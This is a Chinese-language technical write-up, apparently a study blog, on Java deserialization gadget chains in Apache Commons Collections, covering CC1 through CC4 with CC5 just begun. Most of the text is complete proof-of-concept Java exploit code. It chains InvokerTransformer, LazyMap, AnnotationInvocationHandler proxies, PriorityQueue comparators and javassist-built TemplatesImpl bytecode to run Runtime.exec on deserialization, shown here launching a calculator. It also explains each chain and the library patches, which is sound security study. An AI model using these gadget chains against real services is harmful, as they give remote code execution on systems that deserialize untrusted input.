13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链分析

先分析后半段,commons collections中有一个Transformer接口,其中包含一个transform方法,通过实现此接口来达到类型转换的目的。

其中有众多类实现了此接口,cc中主要利用到了以下三个。

  • InvokerTransformer

其transform方法实现了通过反射来调用某方法:

  • ConstantTransformer

其transform方法将输入原封不动的返回:

  • ChainedTransformer

其transform方法就是一个链式调用,前面transform的输出作为下一次transform的输入

将这是三个transform结合起来,可以反射runtime实现任意命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class cc1 {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//Class runtimeClass=Class.forName("java.lang.Runtime");
new ConstantTransformer(Runtime.class),
//runtime=runtimeClass.getMethod("getRuntime").invoke(null);
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
chain.transform("2333");
}
}

这里 Class[].class 是因为这里使用反射调用getMethod(其实是getMethod反射getMethod然后调用),有个可变参数,所以这里使用 Class[].class,后面也要使用Class[0]占位

image-20210402144525602

这里不直接使用Runtime.getRuntime(),是因为Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。

然后找哪里调用transform函数,cc1使用的是Lazymap.get

image-20210402145153536

这里不能直接创建LazyMap对象,需要使用反射的方法创建对象

image-20210402145611534

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.util.HashMap;


public class cc1 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//Class runtimeClass=Class.forName("java.lang.Runtime");
new ConstantTransformer(Runtime.class),
//runtime=runtimeClass.getMethod("getRuntime").invoke(null);
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
HashMap innermap = new HashMap();
Constructor[] constructors = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap) constructor.newInstance(innermap, chain);
map.get("2333");
}
}

那么只需要再找到一个地方调用get方法,并且可以传入任意值。

分析利用链的前半部分,AnnotationInvocationHandler的readObject函数,这是jre7.0的一个类,如果this.memberValues是一个动态代理类,那么就可以调用其invoke函数

image-20210402155823076

动态代理可以参考:https://www.liaoxuefeng.com/wiki/1252599548343744/1264804593397984

动态代理可以实例化一个接口,然后调用其方法,动态代理其实也是实例化一个类去实现接口,只不过是将接口方法“代理”给InvocationHandler的invoke方法完成。

动态代理之于反序列化漏洞的意义个人认为拓展了反序列化的攻击面,可以拓展任意一个方法到代理内的invoke方法中。

继续利用链分析,这里继续将代理类的handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler),其handler调用了get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);

那么只需要设置this.memberValues为我们构造的map就可以在序列化对象后自动执行命令了。

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//Class runtimeClass=Class.forName("java.lang.Runtime");
new ConstantTransformer(Runtime.class),
//runtime=runtimeClass.getMethod("getRuntime").invoke(null);
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
HashMap innermap = new HashMap();
Constructor[] constructors = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
// map.get("2333");

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler)handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);//创建代理对象

Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

try {
//序列化数据写入文件
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(handler);
//从文件中读取并反序列化数据
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}

这里第一个参数是Override.class因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类

image-20210402210830063

image-20210402210841841

而Override.class正是java自带的一个注解类:

image-20210402210916001

漏洞修复

Java 对AnnotationInvocationHandler的修复:

1
2
AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);

readObjetc时会再重新设置memberValues的值,序列化之后的数据就没用了

commons-collections的修复:

image-20210402215053099

在 readObject, writeObject 时都做了检测, 需要设置对应的 Property 为 true 才能反序列化 InvokerTransformer

CommonsCollections 2

影响版本:

  • Commons Collections 4.0

测试环境:

  • JDK 1.7
  • Commons Collections 4.0

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

javassit

.java文件需要编译成.class文件后才能正常运行,而javassit是用于对生成的class文件进行修改,或以完全手动的方式,生成一个class文件。

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import javassist.*;

public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();

// 1. 创建一个空类
CtClass cc = pool.makeClass("Person");

// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));

// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));

// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);

// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);

// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);

//这里会将这个创建的类对象编译为.class文件
cc.writeFile("./");
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

上面的代码生成的class文件是这样的:

image-20210412145057711

对于命令执行来说有什么用呢,可以在生成的class文件的static语句块中添加想要执行的代码,那么在从class文件创建实例的时候就会自动运行我们想要执行的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class javassit_test {
public static void createPseson() throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "System.out.println(\"evil code\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 写入.class 文件
cc.writeFile();
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

上面这段代码中生成的class是这样的:

image-20210412145521618

这里的static语句块会在创建类实例的时候执行

利用链分析

cc2利用的是 java.util 包的 PriorityQueue 类,其readObject函数跟着利用链一路下来之后最后调用了siftDownUsingComparator函数

image-20210409172948860

注意这个compare函数的调用,commons-collection 4.0中TransformingComparator类的compare调用如下

image-20210409173151407

那么设置PriorityQueue类的comparator为TransformingComparator类,再设置TransformingComparator类的transfomer为cc1的ChainedTransformer,即可实现任意代码执行,POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package demo;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//Class runtimeClass=Class.forName("java.lang.Runtime");
new ConstantTransformer(Runtime.class),
//runtime=runtimeClass.getMethod("getRuntime").invoke(null);
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
//chain.transform(233);
TransformingComparator comparator = new TransformingComparator(chain);

//反射修改comparator
PriorityQueue queue = new PriorityQueue();

queue.add(1);
queue.add(2);

Class queueclass = Class.forName("java.util.PriorityQueue");
Field field = queueclass.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

// Field field1 = queueclass.getDeclaredField("size");
// field1.setAccessible(true);
// field1.set(queue, 3);

try {
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(queue);
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
} catch (Exception e){
e.printStackTrace();
}
}
}

细节问题:

  1. 为什么要先add两个值?

image-20210409203622472

heapify需要size大于2才能进入siftDown函数,所以需要提前add两个值,使size大于2。其实也可以不用add,直接反射修改size值大于2也是可以的。

  1. 这里为什么要在add之后才通过反射修改comparator的值?

add跟进之后会发现调用siftUp函数,这里需要comparator为null,如果提前修改会导致报错,所以add之后才可以修改comparator

image-20210409203847662

  1. PriorityQueue类的queue参数被transient修饰,为什么也是可控的?

image-20210409204358167

transient真的不能被序列化吗?其实不然,被transient修饰的数据,只是在默认序列化的时候,不会被序列化进去,但是如果自定义序列化,也是可以写入的

image-20210409204839153

比如这里重写的writeObject,defaultReadObject不会序列化queue数据,但是这里手动写入,readObject的时候也可以反序列化出来

但是这里cc2却没有使用cc1的后半条链,而是利用了一个新的点,com.sun.org.apache.xalan.internal.xsltc.trax 的TemplatesImpl类

这个类的newTransformer方法会调用getTransletInstance

image-20210412150058113

defineTransletClasses通过loader.defineClass将bytecode还原成class,然后在getTransletInstance中又通过newInstance创建新实例,如果为恶意的bytecode,那么就会执行static语句块中的代码

image-20210412150358673

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package demo;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;

public class Main {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//设置父类为AbstractTranslet
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}

前面说了,我们已经可以执行到transform方法了,那么我们可以通过InvokerTransformer#transform的反射来调用TemplatesImpl#newtransformer,达到命令执行的目的。

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package demo;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// templates.newTransformer();
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer chain = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(chain);

//反射修改comparator
PriorityQueue queue = new PriorityQueue();

queue.add(1);
queue.add(2);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Class queueclass = Class.forName("java.util.PriorityQueue");
Field field = queueclass.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

// Field field1 = queueclass.getDeclaredField("size");
// field1.setAccessible(true);
// field1.set(queue, 3);

try {
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(queue);
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
} catch (Exception e){
e.printStackTrace();
}
}
}

细节问题:

  1. 为什么要设置恶意类的父类为AbstractTranslet?

这是因为在defineTransletClasses这个方法中存在一个判断:

image-20210412160741583

我们需要令_transletIndex为i,此时的i为0,默认状态下_transletIndex的值为-1,而如果_transletIndex的值小于0,就会抛出异常:

image-20210412160801948

这里我们也不能通过反射的方式来设置_transletIndex的值,因为还是会进入到_auxClasses方法中,此方法会报出错误,我们依旧无法正常的序列化。

漏洞修复

直接取消了InvokerTransformer 的 Serializable 继承

image-20210412160938324

Commons Collections 3

影响版本:

  • Commons Collections 3.1

测试环境:

  • JDK 1.7
  • Commons Collections 3.1

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

利用链分析

cc2使用TemplatesImpl类的newTransformer重建类实例来实现命令执行,cc2使用的是InvokerTransformer来反射调用newTransformer方法,而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer。

image-20210412163547614

同时加入了一个新的InstantiateTransformer,以下是他的transform方法,会调用单个构造参数的构造方法创建实例,那么就可以利用它来调用newTransformer

image-20210412163700011

cc3其实更像是cc1前半段和cc2后半段的结合,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package demo;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import static demo.Main.setFieldValue;

public class cc2 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Str3am");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap innermap = new HashMap();
Constructor[] constructors = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
// map.get("2333");

Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler)handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);//创建代理对象

Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

try {
//序列化数据写入文件
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(handler);
//从文件中读取并反序列化数据
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}

Commons Collections 4

影响版本:

  • Commons Collections 4.0

测试环境:

  • JDK 1.7
  • Commons Collections 4.0

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

利用链分析

没有啥新东西,前半段cc2,后半段cc3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};

Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);


Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

Commons Collections 5

影响版本:

  • Commons Collections 3,1

测试环境:

  • JDK 1.7
  • Commons Collections 3.1

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链分析

